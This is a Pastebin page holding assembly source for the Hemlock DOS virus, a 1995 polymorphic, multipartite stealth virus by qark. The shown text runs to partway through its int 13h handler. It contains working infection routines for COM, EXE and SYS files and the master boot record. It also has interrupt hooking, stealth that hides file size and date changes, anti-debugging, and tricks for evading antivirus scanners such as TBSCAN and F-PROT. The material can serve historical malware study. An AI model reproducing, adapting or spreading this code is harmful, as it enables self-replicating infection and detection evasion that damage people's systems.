FlyFar

Hemlock Virus Source Code

Jun 28th, 2023
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 62.59 KB | Cybersecurity | 0 0
  1. ;
  2. ;                      Hemlock Virus Source by qark
  3. ;                      +--------------------------+
  4. ;
  5. ;  Origin:      Australia, February 1995
  6. ;  Targets:     COM/EXE/SYS/MBR/BS
  7. ;  Polymorphic: Yes
  8. ;  Encrypted:   Yes
  9. ;  Stealth:     Full stealth as it redirects reads to infected bootsectors
  10. ;               and will return a clean copy if an infected file is read.
  11. ;  Armoured:    Attempting to trace int 21h or int 13h by a debugger/tunneler
  12. ;               will be disabled or cause a system hang.
  13. ;  Tunneling:   No, but checks for fixed ROM BIOS entry points by examining
  14. ;               code in segment F000.  If found will set the vectors to these
  15. ;               instead of the original vectors.
  16. ;  Damage:      None
  17. ;  Assembler:   A86 v3.71
  18. ;  Other stuff: Disables stealth when the following programs are run PKZIP,
  19. ;               LHA, ARJ, CHKDSK, NDD and SCANDISK.  When WIN or TBSCAN are
  20. ;               executed, command line options are added to avoid detection.
  21. ;               When CTRL-ALT-DEL (warm boot) is pressed, the virus will
  22. ;               copy the original interrupt table back and call int 19h
  23. ;               which will effectively mimic a warm boot.  If the computer
  24. ;               is in protected mode it will call a normal reboot instead.
  25. ;               If DOSDATA.SYS (a QEMM driver) is detected a different
  26. ;               routine will be used for grabbing int21h when loading from
  27. ;               boot.  Because SYS infection is unstable the virus does not
  28. ;               go resident, but instead checks to see if the MBR is infected
  29. ;               and if clean, infects it.  The polymorphism is simple in that
  30. ;               it basically swaps around lines of the decryption, but no
  31. ;               simple signature will detect it.
  32. ;
  33. ;       This is probably the best virus to ever come from Australia.
  34. ;
  35. ;       Hemlock is the poison that killed Socrates and the way I figure it,
  36. ;       what's good for one greek philosopher is good enough for another.
  37. ;
  38.  
  39.         org     0
  40.  
  41.         db      9 dup (90h)             ;This is setup for the polymorphism.
  42. enc_loop:
  43.         db      15 dup (90h)            ;18
  44.         mov     si,offset enc_end + 100h
  45. enc_start:
  46.         sub     si,offset enc_end        
  47.  
  48.         cld                             ;Forward movement.
  49.  
  50.         mov     ax,0efbeh
  51.         mov     bl,9
  52.         int     13h                     ;Check if we are already home...
  53.  
  54.         cmp     ax,0BEEFh
  55.         je      resident
  56.  
  57.         ;AX=01BE because of the error code passed into AH
  58.         ;This will kill f-prot.
  59.         add     word ptr cs:[si+offset jmp_off],ax
  60.  
  61.         db      0ebh,0                  ;Clear prefetch        
  62.  
  63.         db      0e9h                    ;JMP xxxx
  64. jmp_off dw      6 - 01beh       ;01BE=The return size from the int13 call.
  65. bogus_end:
  66.         mov     ax,4c00h
  67.         int     21h
  68.         db      20h
  69. real_continue:
  70.         sub     word ptr cs:[si+offset jmp_off],ax
  71.  
  72.         call    check_mbr               ;Is the MBR infected with our virus ?
  73.         je      mbr_done
  74.         call    setrom15_13
  75.         call    infect_mbr
  76.         call    reset15_13
  77.  
  78. mbr_done:
  79.         push    ds                      ;Save PSP
  80.  
  81.         mov     ax,es
  82.         dec     ax                      ;MCB segment.
  83.         xor     di,di                   ;Zero DI
  84.        
  85.         mov     ds,ax
  86.  
  87.         ;Using [DI] is smaller than [0], saves a byte or two.
  88.         ;Thanx to Memory Lapse for that optimisation.
  89.  
  90.         cmp     byte ptr [di],'Z'       ;DI=0 Check MCB type.
  91.         jne     pop_resident
  92.  
  93.         sub     word ptr [di+3],(offset mem_size /16) +1
  94.         sub     word ptr [di+12h],(offset mem_size /16) +1
  95.         mov     ax,word ptr [di+12h]    ;Our segment into AX.
  96.         mov     es,ax
  97.  
  98.         push    cs
  99.         pop     ds                      ;DS=CS
  100.         mov     cx,offset end_virus     ;Our virus length.
  101.         rep     movsb                   ;Move our virus in memory.
  102.  
  103.         sub     si,di                   ;SI points to our virus start again.
  104.  
  105.         push    si
  106.  
  107.         mov     ds,cx                   ;DS=CX=0
  108.         mov     si,21h*4                ;Set int 21
  109.         mov     di,offset i21
  110.         movsw
  111.         movsw
  112.         mov     word ptr [si-4],offset int21handler
  113.         mov     word ptr [si-2],es
  114.  
  115.         mov     si,13h*4                ;Set int 13
  116.         mov     di,offset i13
  117.         movsw
  118.         movsw
  119.         mov     word ptr [si-4],offset int13handler
  120.         mov     word ptr [si-2],es
  121.  
  122.         mov     byte ptr es:flag21,1
  123.        
  124.         pop     si
  125.  
  126. pop_resident:
  127.         pop     ds              ;Restore PSP
  128. resident:
  129.         push    ds
  130.         pop     es
  131.  
  132.         cmp     byte ptr cs:[si+offset filetype],'E'
  133.         je      exe_return
  134.         ;COM file return.
  135.         mov     di,100h         ;Offset of COM start.
  136.         push    di              ;Where we return to.
  137.         add     si,offset header
  138.         mov     cx,18h
  139.         rep     movsb           ;Move the original header back.
  140.         ret                     ;IP -> 100h
  141.  
  142. exe_return:
  143.         mov     ax,ds           ;DS=PSP
  144.         add     ax,10h          ;10H = size of PSP
  145.         add     word ptr cs:[si+jump+2],ax      ;Fix the return JMP FAR
  146.         cli
  147.         mov     sp,word ptr cs:[si+offset header + 10h]
  148.         add     ax,word ptr cs:[si+offset header + 0eh]
  149.         mov     ss,ax           ;SS:SP now fixed
  150.         sti
  151.         xor     ax,ax
  152.         xor     bx,bx
  153.         xor     si,si
  154.        
  155.         db      0ebh,0          ;JMP $+2  Just clear the prefetch.
  156.  
  157.         db      0eah            ;Return to original EXE.
  158. jump    dd      0      
  159.  
  160. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  161. ;Infected device drivers call this when they execute.
  162. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  163. SysEntry:
  164.         push    bp                      ;<--This turns into our RET later on.
  165.  
  166.         push    bp                      ;Save BP.
  167.  
  168.         mov     bp,sp                   ;Get the SP to change the stack.
  169.  
  170.         push    si                      ;Save our other stuff.
  171.         push    ax
  172.  
  173.         db      0beh                    ;MOV SI,xxxx
  174. delta_sys       dw      0               ;Our delta offset.
  175.  
  176.         mov     ax,cs:[si+offset sysreturn]     ;The address of the orig
  177.                                                 ;handler.
  178.  
  179.         mov     word ptr [bp+2],ax      ;'RET' to the original routine.
  180.         mov     word ptr cs:[6],ax      ;Restore the original pointer
  181.                                         ;so that we aren't called again.
  182.  
  183.         ;Do the stuff you want to here.... push and pop tho
  184.         push    bx
  185.         mov     ax,0efbeh               ;Residency test
  186.         xor     bx,bx
  187.         int     13h
  188.         pop     bx
  189.        
  190.         cmp     ax,0beefh               ;If resident then exit.
  191.         je      sys_res
  192.  
  193.         call    check_mbr
  194.         je      sys_res
  195.        
  196.         call    setrom15_13
  197.         call    infect_mbr
  198.         call    reset15_13
  199.  
  200. Sys_Res:
  201.         pop     ax
  202.         pop     si
  203.         pop     bp
  204.         ret             ;It will return to the handler that was supposed to
  205.                         ;be called instead of this one.
  206.  
  207. SysReturn       dw      0               ;The original strategy routine.
  208.  
  209. ;End of the stub part of the virus...
  210. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  211. ;Beginning of the resident routines...
  212. Int21Handler    Proc    Near
  213. ;;;;;;
  214. ;Instead of the good old CMP AH,XX to check for the DOS function, I think
  215. ;that I'll bung in a cooleo little jump table... always good to try new
  216. ;tricks...
  217. ;;;;;;
  218.  
  219.         call    anti_tunnel                     ;Stop all other tunneling.
  220.  
  221.         push    si
  222.         push    ax
  223.  
  224.         mov     si,offset function_table        ;SI=My little jump table.
  225.         cld
  226. Index_function:
  227.         cmp     si,offset end_table             ;End of table...
  228.         je      not_viral
  229.         db      2eh                             ;CS:
  230.         lodsb
  231.         cmp     ah,al                           ;Do the functions match ?
  232.         je      do_jump
  233.         inc     si                              ;I would use lodsw but that
  234.         inc     si                              ;would destroy AH.
  235.         jmp     index_function
  236. do_jump:
  237.         db      2eh                             ;CS:
  238.         lodsw
  239.         jmp     ax
  240.  
  241. not_viral:
  242.         jmp     pop_end
  243.  
  244.         ;Below is the virus entry jump table.
  245.  
  246. function_table  db      11h                     ;Dir ffirst
  247.                 dw      offset dir_stealth
  248.                 db      12h                     ;Dir ffnext
  249.                 dw      offset dir_stealth
  250.                 db      3dh                     ;Open
  251.                 dw      offset file_open
  252.                 db      3fh                     ;File read
  253.                 dw      offset file_read
  254.                 db      43h                     ;Attribute change
  255.                 dw      offset file_infect
  256.                 db      4bh                     ;Execute
  257.                 dw      offset file_infect
  258.                 db      4eh                     ;Handle ffirst
  259.                 dw      offset find_stealth
  260.                 db      4fh                     ;Handle fnext
  261.                 dw      offset find_stealth
  262.                 db      56h                     ;Rename
  263.                 dw      offset file_infect
  264.                 db      57h                     ;Date and time
  265.                 dw      offset file_time
  266.                 db      6ch                     ;Open
  267.                 dw      offset file_open
  268. end_table:
  269.  
  270. ;.................
  271. File_Read:              ;3F arrives here.
  272.         pop     ax
  273.         pop     si
  274.        
  275.         cmp     byte ptr cs:stealth,0
  276.         je      no_read_stealth
  277.  
  278.         call    check_handle
  279.         jnc     good_handle
  280.  
  281. no_read_stealth:
  282.         jmp     jend                    ;Outta here...
  283. good_handle:
  284.  
  285.         push    es
  286.         push    di
  287.         call    get_sft
  288.         jc      toobig
  289.         call    check_years
  290.         jae     stealth_read
  291. toobig:
  292.         pop     di                      ;Uninfected, so dont stealth.
  293.         pop     es
  294.         jmp     jend                    ;The push/pops are equal everywhere..
  295.  
  296.         file_pointer    dw      0
  297.  
  298. stealth_read:
  299.         ;We've already reduced the file size within the SFT, (in file_open)
  300.         ;so if they lseek to the end to try and find the virus they won't
  301.         ;reach it, so all we have to do is make sure if they are reading
  302.         ;near the header that we stealth it.  Not too hard is it ? :)
  303.         ;The header is only the first 18h bytes so we only mess with that.
  304.  
  305.         cmp     word ptr es:[di+17h],0
  306.         jne     toobig
  307.         cmp     word ptr es:[di+15h],18h
  308.         jae     toobig
  309.  
  310.         push    word ptr es:[di+15h]    ;Save the current file pointer
  311.         pop     word ptr cs:file_pointer
  312.        
  313.         pop     di
  314.         pop     es
  315.  
  316.  
  317.         call    Int21norm                       ;Do their read.
  318.         jnc     ok_read
  319.         jmp     bad_read
  320. ok_read:
  321.         push    ax
  322.         push    bx
  323.         push    cx
  324.         push    dx
  325.         push    si
  326.         push    di
  327.         push    es
  328.         pushf
  329.  
  330.         mov     ax,word ptr cs:file_pointer
  331.  
  332.         ;We want to overwrite whats at the current file pointer with
  333.         ;what is supposed to be there.  To do this we must work out
  334.         ;whether it has read past the header, or just inside the header.
  335.  
  336.         call    get_sft
  337.         jnc     good_read_sft
  338.         jmp     bad_read_sft
  339. good_read_sft:
  340.         add     ax,cx
  341.         jc      large_read              ;Reading near FFFF bytes
  342.         cmp     ax,18h
  343.         jbe     calc_read               ;Read past the header
  344. large_read:
  345.         sub     ax,cx
  346.         mov     cx,18h
  347.         sub     cx,ax
  348.         jmp     short long_read
  349. calc_read:
  350.         sub     ax,cx
  351. long_read:              ;AX=File pointer, CX=bytes to read.
  352.  
  353.         ;Save the current file pointer.
  354.         push    word ptr es:[di+17h]
  355.         push    word ptr es:[di+15h]
  356.  
  357.         ;Save the current file length
  358.         push    word ptr es:[di+13h]
  359.         push    word ptr es:[di+11h]
  360.  
  361.         ;Extend the file length to include the virus
  362.  
  363.         add     word ptr es:[di+11h],offset end_virus
  364.         adc     word ptr es:[di+13h],0
  365.  
  366.         push    word ptr es:[di+11h]    ;File size --> File pointer
  367.         pop     word ptr es:[di+15h]
  368.         push    word ptr es:[di+13h]
  369.         pop     word ptr es:[di+17h]
  370.  
  371.         sub     word ptr es:[di+15h],18h        ;Headersize back
  372.         sbb     word ptr es:[di+17h],0
  373.  
  374.         add     word ptr es:[di+15h],ax         ;Add on their file pointer
  375.         adc     word ptr es:[di+17h],0
  376.  
  377.         mov     al,3fh
  378.         call    int21h             ;Will read into their buffer the orig shit
  379.  
  380.         pop     word ptr es:[di+11h]    ;Restore file length
  381.         pop     word ptr es:[di+13h]
  382.  
  383.         pop     word ptr es:[di+15h]    ;Restore file pointer
  384.         pop     word ptr es:[di+17h]
  385. bad_read_sft:
  386.         popf
  387.         pop     es
  388.         pop     di
  389.         pop     si
  390.         pop     dx
  391.         pop     cx
  392.         pop     bx
  393.         pop     ax
  394. bad_read:
  395.        
  396. read_exit:
  397.         retf    2
  398. ;.................
  399. File_Open:              ;3D and 6C arrive here.
  400.         pop     ax
  401.         pop     si
  402.         call    infect                  ;Infect the file.
  403.         call    Int21norm               ;Do their open  
  404.         jc      exit_open
  405.         pushf
  406.         xchg    bx,ax
  407.         call    check_handle
  408.         xchg    bx,ax
  409.         jc      good_exit_open
  410.  
  411.         push    es
  412.         push    di
  413.         xchg    bx,ax                   ;File handle into BX
  414.         call    get_sft
  415.         xchg    bx,ax
  416.         jc      pop_open_exit
  417.  
  418.         call    check_years
  419.         jb      pop_open_exit           ;Is it infected ? Nope, outta here..
  420.  
  421.         cmp     byte ptr cs:stealth,0
  422.         je      pop_open_exit
  423.  
  424. ;Remove our virus size from the SFT.  This means that if they try to lseek
  425. ;to the end of the infected program they will see no size difference, and
  426. ;they will only be able to reach the end of the normal file.
  427. ;We no longer have to worry about them reading in the virus body from the end
  428. ;of the file, we only have to protect the header at the start.
  429.  
  430.         sub     word ptr es:[di+11h],offset end_virus
  431.         sbb     word ptr es:[di+13h],0
  432.  
  433. pop_open_exit:
  434.         pop     di
  435.         pop     es
  436. good_exit_open:
  437.         popf
  438. exit_open:
  439.         retf    2
  440. ;.................
  441. File_Infect:            ;43, 4B and 56 arrive here.
  442.         pop     ax
  443.         pop     si
  444.  
  445.         cmp     ax,4b00h                ;File execute ?
  446.         jne     non_execute
  447.  
  448.         mov     byte ptr cs:stealth,1   ;Turn stealth on.
  449.         call    check_names             ;This may turn stealth off.
  450.         call    infect
  451.         call    int21norm               ;Do the interrupt
  452.         mov     byte ptr cs:stealth,1   ;Turn stealth on.
  453.         retf    2                       ;Exit interrupt.
  454. non_execute:
  455.         call    infect                  ;Infect it.
  456. far_time_exit:
  457.         jmp     jend
  458. ;.................
  459. File_Time:              ;57 arrives here.
  460.                                 ;Hide the 100 years marker.
  461.         pop     ax
  462.         pop     si
  463.  
  464.         cmp     byte ptr cs:stealth,0
  465.         je      far_time_exit
  466.  
  467.         cmp     al,01
  468.         je      far_time_exit
  469.  
  470.         call    Int21norm       ;Call it
  471.         pushf
  472.         jc      time_ok
  473.         cmp     dh,200
  474.         jb      time_ok
  475.  
  476.         sub     dh,200          ;Take away the 100 years.
  477.        
  478. time_ok:
  479.         popf
  480.         retf    2
  481. ;.................
  482. Dir_Stealth:            ;11 and 12 arrive here.
  483. ;No change in size during a DIR listing.
  484.        
  485.         pop     ax
  486.         pop     si
  487.  
  488.         cmp     byte ptr cs:stealth,0
  489.         je      far_time_exit
  490.        
  491.         call    Int21norm                       ;Call the interrupt
  492.         cmp     al,0                            ;straight off.
  493.         jne     end_of_dir
  494.  
  495.         push    es
  496.         push    ax                              ;Save em.
  497.         push    bx
  498.  
  499.         mov     al,2fh                          ;Get DTA address.
  500.         call    int21h
  501.  
  502.         cmp     byte ptr es:[bx],0ffh           ;Extended FCB ?
  503.         jne     not_extended
  504.  
  505.         add     bx,7                            ;Add the extra's.
  506. not_extended:
  507.         mov     al,byte ptr es:[bx+1ah]         ;Move high date
  508.         cmp     al,200
  509.         jb      dir_pop                         ;Not ours to play with.
  510.  
  511.         sub     al,200                          ;Restore to original date.
  512.  
  513.         mov     byte ptr es:[bx+1ah],al
  514.  
  515.         ;Subtract the file length.
  516.         sub     word ptr es:[bx+1dh],offset end_virus
  517.         sbb     word ptr es:[bx+1fh],0
  518. dir_pop:
  519.         pop     bx
  520.         pop     ax
  521.         pop     es
  522.  
  523. end_of_dir:
  524.  
  525.         iret
  526.  
  527. stealth_exit:
  528.         jmp     jend            ;Exit.
  529. ;.................
  530. Find_Stealth:           ;4E and 4F arrive here.
  531.  
  532.         pop     ax
  533.         pop     si
  534.  
  535.         cmp     byte ptr cs:stealth,0
  536.         je      stealth_exit
  537.  
  538.         call    Int21norm       ;Do the original find call.
  539.         jc      end_search
  540.  
  541.         pushf
  542.         push    es
  543.         push    bx
  544.         push    si
  545.  
  546.         mov     al,2fh          ;Get DTA address
  547.         call    int21h
  548.  
  549.         mov     al,byte ptr es:[bx+19h]
  550.         cmp     al,200          ;Get the file year from the DTA
  551.         jb      search_pop
  552.  
  553.         sub     al,200          ;Set it back to the normal year.
  554.  
  555.         mov     byte ptr es:[bx+19h],al ;Now they won't spot us!
  556.  
  557.         ;Subtract the file length.
  558.         sub     word ptr es:[bx+1ah],offset end_virus
  559.         sbb     word ptr es:[bx+1ch],0
  560.  
  561. search_pop:
  562.         pop     si
  563.         pop     bx
  564.         pop     es
  565.         popf
  566. end_search:
  567.         retf    2                       ;IRET without POPF
  568. ;.................
  569. Far_End:                                ;Gotta use a lame one of these
  570.                                         ;because of the 128 byte jump :(
  571.         jmp     no_extension
  572.  
  573. ;Infect EXE/COM/SYS
  574. Infect:                                
  575.         push    ax
  576.         push    bx
  577.         push    cx
  578.         push    dx
  579.         push    si
  580.         push    di
  581.         push    ds
  582.         push    es
  583.         push    bp
  584.  
  585.         xor     bp,bp                   ;Zero BP for anti-heuristics
  586.  
  587.         cmp     ah,6ch
  588.         jne     no_si_fixup
  589.         mov     dx,si                   ;Function 6C stores the name at
  590.                                         ;DS:SI instead of DS:DX.
  591. no_si_fixup:
  592.         cld
  593.         push    ds
  594.         pop     es
  595.         mov     al,'.'
  596.         mov     di,dx
  597.         mov     cx,128
  598.         repne   scasb                   ;Search for extension.
  599.  
  600.         jne     far_end
  601.  
  602.         mov     byte ptr cs:filetype,0  ;Reset the filetype flag
  603.  
  604.         mov     si,di
  605.         lodsw
  606.         or      ax,2020h                ;Convert to lowercase.
  607.         cmp     ax,'oc'                 ;COM
  608.         jne     chk_exe
  609.         lodsb
  610.         or      al,20h
  611.         cmp     al,'m'
  612.         jne     far_end
  613.         jmp     good_name
  614. chk_exe:                        ;EXE
  615.         cmp     ax,'xe'
  616.         jne     chk_sys
  617.         lodsb
  618.         or      al,20h
  619.         cmp     al,'e'
  620.         jne     far_end
  621.         jmp     good_name
  622. chk_sys:                        ;SYS
  623.         cmp     ax,'ys'
  624.         jne     far_end
  625.         lodsb
  626.         or      al,20h
  627.         cmp     al,'s'
  628.         jne     far_end
  629.         mov     byte ptr cs:filetype,'S'
  630. good_name:
  631.         lea     ax,[bp+3dh]             ;Same as mov ax,3d but anti-heuristic
  632.         call    int21h
  633.         jc      far_end
  634.         xchg    bx,ax                   ;This is smaller than XCHG AX,BX
  635.                                         ;BX=File handle.
  636.  
  637.         call    set_int24
  638.  
  639.         call    get_sft
  640.         jc      sys_close_exit
  641.         call    check_years             ;Is it already infected ?
  642.         ja      sys_close_exit
  643.        
  644.         mov     word ptr es:[di+2],2    ;Change file to read/write.
  645.  
  646.         push    cs
  647.         pop     es                      ;ES=CS
  648.         lea     ax,[bp+3fh]             ;Same as MOV AX,3F
  649.         push    cs
  650.         pop     ds                      ;DS=CS
  651.         mov     cx,1ch                  ;Read in the full EXE header.
  652.         mov     dx,offset header
  653.         call    int21h
  654.  
  655.         mov     si,offset header
  656.         lodsw                           ;AX=First two bytes of header.
  657.  
  658. ;I DO NOT want to infect SYS files that have an EXE header because
  659. ;that means I will infect shit like QEMM and DOSDATA, which will fuck
  660. ;everything up...
  661.  
  662.         cmp     byte ptr cs:filetype,'S'
  663.         je      sys_infect
  664.  
  665.         add     al,ah
  666.         cmp     al,167                  ;Test for ZM/MZ
  667.         jne     com_infect
  668.         jmp     exe_infect
  669.  
  670. ;++++++++++++++++++++++
  671. SYS_Infect:
  672. ;Check first dword for -1 (-1 = 0ffffffffh)
  673. ;SYS files mostly start with ffffffffh so its a good marker to check.
  674.  
  675.         inc     ax              ;AX=0 if SYS file
  676.         jnz     sys_close_exit
  677.         lodsw
  678.         inc     ax
  679.         jnz     sys_close_exit
  680.         lodsw                   ;Same as INC SI, INC SI but one byte
  681.  
  682.         ;SI=Offset of 6 into the header.
  683.         ;DS:SI=The SYS files strategy routine.
  684.         lodsw                   ;Strategy routine offset into AX
  685.         mov     word ptr sysreturn,ax
  686.         call    lseek_end
  687.         cmp     ax,60000
  688.         je      sys_close_exit
  689.         cmp     ax,1024
  690.         jb      sys_close_exit
  691.  
  692.         call    get_date
  693.  
  694.         ;File length is in AX.
  695.         mov     word ptr delta_sys,ax
  696.         push    ax
  697.         mov     al,40h                  ;Write virus at end.
  698.         mov     cx,offset end_virus
  699.         xor     dx,dx
  700.         call    int21h
  701.         pop     ax
  702.         jc      sys_close_exit
  703.  
  704.         add     ax,offset sysentry
  705.         mov     word ptr header+6,ax    ;Point the strategy routine at our
  706.        
  707.         ;lseek to start.
  708.  
  709.         call    lseek_start
  710.  
  711.         mov     al,40h                  ;Write our cooler header back.
  712.         mov     dx,offset header
  713.         mov     cx,18h
  714.         call    int21h
  715.         jc      sys_close_exit
  716.  
  717.         call    set_marker              ;Set the 100 year marker.
  718. sys_close_exit:
  719.         jmp     exe_close               ;Outta here !
  720.  
  721. ;+++++++++++++++++++++++
  722. COM_Infect:                             ;This routine works with COM files.
  723.  
  724.         mov     byte ptr filetype,'C'
  725.         call    lseek_end
  726.         or      dx,dx                   ;Waaaay too big!
  727.         jnz     com_close_exit
  728.         cmp     ax,62300                ;Too big...
  729.         ja      com_close_exit
  730.         cmp     ax,1024                 ;Teensy weensy
  731.         jb      com_close_exit
  732.  
  733.         call    get_date
  734.  
  735.         push    ax                      ;Save file size in AX
  736.  
  737.         add     ax,100h                 ;COM's start at 100h
  738.         mov     delta,ax                ;Fixup the delta offset.
  739.  
  740.         call    setup_poly
  741.  
  742.         mov     al,40h                  ;Append virus.
  743.         mov     dx,offset end_virus
  744.         mov     cx,offset end_virus
  745.         call    int21h
  746.         pop     ax                      ;Restore file size.
  747.         jc      com_close_exit          ;Failed write...
  748.  
  749.         sub     ax,3                    ;JMP takes 3 bytes.
  750.         mov     word ptr virus_jump+1,ax        ;Our jump buffer is ready !
  751.  
  752.         call    lseek_start
  753.  
  754.         mov     al,40h                  ;Write our jump.
  755.         mov     dx,offset virus_jump
  756.         mov     cx,3
  757.         call    int21h
  758.         jc      com_close_exit          ;Failed write...
  759.  
  760.         call    set_marker              ;Set the 100 years marker.
  761. com_close_exit:
  762.         jmp     exe_close
  763. ;+++++++++++++++++++++++
  764. EXE_Infect:
  765.         mov     byte ptr filetype,'E'
  766.  
  767.         dec     si
  768.         dec     si                      ;SI = Offset header
  769.  
  770.         cmp     word ptr [si+1ah],0     ;Overlays are evil!
  771.         jne     com_close_exit
  772.         cmp     word ptr [si+18h],40h   ;So is windows shit!
  773.         jae     com_close_exit
  774.  
  775.         call    get_date
  776.  
  777.         push    [si+2]                  ;Save pages
  778.         push    [si+4]                  ;Save last page size
  779.         push    [si+0ch]                ;Save maximum memory
  780.         push    [si+0eh]                ;Save SS
  781.         push    [si+10h]                ;Save SP
  782.         push    [si+14h]                ;Save IP
  783.         push    [si+16h]                ;Save CS
  784.  
  785.         mov     ax,word ptr [si+0ch]    ;Get Maxmem
  786.         inc     ax                      ;If FFFF then don't change.
  787.         jz      set_to_max
  788.  
  789.         ;We are doing this because when TBSCAN is run it checks it's segment
  790.         ;size in memory.  If it is infected it will detect the virus because
  791.         ;the memory allocated to it is more than it asked for.  So downsize
  792.         ;maxmem by the virus paras and wow! passed sanity check!  Did you
  793.         ;know that TBSCAN doesn't use it's 'OWN' file system to check
  794.         ;itself ?  Nope, it uses DOS so you can stealth is easy enough.
  795.  
  796.         ;Note: I did not invent this idea!  A person who wishes to remain
  797.         ;anonymous told it to me.
  798.  
  799.         sub     word ptr [si+0ch],offset end_virus / 16 +1
  800.  
  801. set_to_max:
  802.  
  803.         push    si
  804.         add     si,14h
  805.         mov     di,offset jump
  806.         movsw
  807.         movsw                           ;CS:IP into JUMP
  808.         pop     si
  809.  
  810.         call    lseek_end
  811.                                         ;DX:AX=File length
  812.         push    dx                      ;Save file length.
  813.         push    ax
  814.  
  815.         mov     cx,16                   ;Divide filesize by 16.
  816.         div     cx                      ;Remainder = IP
  817.                                         ;Answer = CS
  818.  
  819.         sub     ax,word ptr [si+8]      ;Subtract headersize.
  820.         mov     word ptr delta,dx
  821.  
  822.         mov     word ptr [si+14h],dx    ;IP into header
  823.         mov     word ptr [si+16h],ax    ;CS into header
  824.  
  825.         add     dx,offset end_virus + 1000      ;SP past end of file.
  826.  
  827.         mov     word ptr [si+0eh],ax    ;SS=CS
  828.         mov     word ptr [si+10h],dx    ;SP past end of our virus.
  829.  
  830.         pop     ax
  831.         pop     dx                      ;File length into DX:AX
  832.  
  833.         add     ax,offset end_virus
  834.         adc     dx,0
  835.        
  836.         mov     cx,512
  837.         div     cx
  838.         or      dx,dx
  839.         jz      no_page_fix             ;Page ends on 512 boundary.
  840.         inc     ax                      ;Add the last page.
  841. no_page_fix:
  842.         mov     word ptr [si+4],ax
  843.         mov     word ptr [si+2],dx
  844.  
  845.         call    lseek_start
  846.  
  847.         mov     dx,si                   ;DX=Offset header
  848.         mov     cx,18h
  849.         mov     al,40h                  ;Write header back.
  850.         call    int21h
  851.        
  852.         pop     [si+16h]                ;Restore all the header stuff
  853.         pop     [si+14h]                ;that I changed.
  854.         pop     [si+10h]
  855.         pop     [si+0eh]
  856.         pop     [si+0ch]
  857.         pop     [si+4]
  858.         pop     [si+2]
  859.  
  860.         jc      exe_close
  861.  
  862.         call    lseek_end
  863.  
  864.         call    setup_poly
  865.  
  866.         mov     al,40h
  867.         mov     dx,offset end_virus
  868.         mov     cx,offset end_virus
  869.         call    int21h
  870.         jc      exe_close
  871.  
  872.         call    set_marker
  873. exe_close:
  874.         mov     al,3eh
  875.         call    int21h
  876.  
  877.         call    reset_int24
  878. no_extension:
  879.         pop     bp
  880.         pop     es
  881.         pop     ds
  882.         pop     di
  883.         pop     si
  884.         pop     dx
  885.         pop     cx
  886.         pop     bx
  887.         pop     ax
  888.         ret
  889. ;.................       End of infection procedure...
  890.  
  891. pop_end:
  892.         pop     ax
  893.         pop     si
  894.  
  895. jend:
  896.         db      0eah
  897.         i21     dd      0
  898.  
  899. Int21Handler    EndP
  900.  
  901. Int21h:
  902.         xchg    ah,al                   ;<-- swap AH and AL for heuristics.
  903. Int21norm:
  904.         pushf
  905.         push    cs
  906.         call    jend
  907.         ret
  908.  
  909. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  910. Bootsector:
  911.         ;This is what we write to the MBR/BS
  912.         xor     ax,ax
  913.         mov     es,ax
  914.         mov     si,7c00h
  915.         cli                             ;Ints off while changing
  916.                                         ;stack.
  917.         mov     ss,ax
  918.         mov     sp,si
  919.         sti
  920.         mov     ds,ax
  921.  
  922.                                         ;CS,DS,ES,SS,AX=0    SI,SP=7C00H
  923.  
  924.         sub     word ptr [413h],8       ;3.5k for virus + 3.5k buffer
  925.                                         ;+1K for IVT
  926.                                         ;40:13 = memory.
  927.         int     12h
  928.  
  929.         mov     cl,6
  930.         shl     ax,cl
  931.         mov     es,ax                   ;ES=Our virus segment.
  932.  
  933.         xor     ax,ax
  934.         int     13h                     ;Reset Disk
  935.  
  936.         xor     dh,dh                   ;Head 0
  937.         mov     cx,4                    ;From sector 4, track 0
  938.         or      dl,dl
  939.         js      hd_resident             ;>= 80h
  940.        
  941.         ;Self modifying code because the floppy disk storage track/head
  942.         ;changes all the time.
  943.  
  944.         db      0b9h                    ;MOV CX,xxxx
  945.         floppy_sect     dw      4
  946.         db      0b6h                    ;MOV DH,xxxx
  947.         floppy_head     db      0
  948.  
  949. hd_resident:
  950.         xor     bx,bx                   ;Read to start of segment
  951.         mov     ax,207h                 ;Read 7 sectors
  952.         int     13h                     ;This ought to read the virus into
  953.                                         ;our allocated buffer.
  954.         jc      hd_resident
  955.  
  956.  
  957.         mov     byte ptr es:flag21,0            ;Reset the int21 flag
  958.         mov     byte ptr es:mz_counter,1        ;Reset exe counter
  959.         mov     byte ptr es:qemm,0              ;Reset qemm flag
  960.  
  961.         mov     si,13h*4
  962.         cld
  963.         mov     di,offset i13
  964.         movsw
  965.         movsw
  966.         mov     word ptr [si-4],offset int13handler
  967.         mov     word ptr [si-2],es
  968.  
  969.         mov     si,9*4                          ;Set int9 to ours.
  970.         mov     di,offset i9
  971.         movsw
  972.         movsw
  973.         mov     word ptr [si-4],offset int9handler
  974.         mov     word ptr [si-2],es
  975.  
  976.         xor     si,si                           ;Copy interrupt table.
  977.         mov     di,offset IVT
  978.         mov     cx,1024
  979.         rep     movsb
  980.  
  981.         mov     si,449h
  982.         movsb
  983.  
  984.         int     19h
  985.                
  986.         Marker  db      'Eu'                    ;Just a crap marker
  987. BS_End:
  988.  
  989. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  990. ;;;
  991. rend:
  992.         retf    2
  993. ;;;
  994. multi:
  995.         jmp     multipartite
  996. ;;;
  997. stealth_bs:
  998.         mov     cx,3
  999.         mov     ax,102h
  1000.  
  1001.         or      dl,dl
  1002.         js      stealth_mbr             ;DL>=80H then goto stealthmbr
  1003.  
  1004.         mov     cx,14
  1005.         mov     dh,1
  1006. stealth_mbr:
  1007.         call    int13h
  1008.         jmp     bs_pop_end
  1009. ;;;
  1010. Int13Handler:
  1011.  
  1012.         call    anti_tunnel        
  1013.  
  1014.         xchg    ah,al
  1015.        
  1016.         cmp     al,2
  1017.         jne     multi
  1018.  
  1019.         cmp     cx,1
  1020.         jne     multi
  1021.  
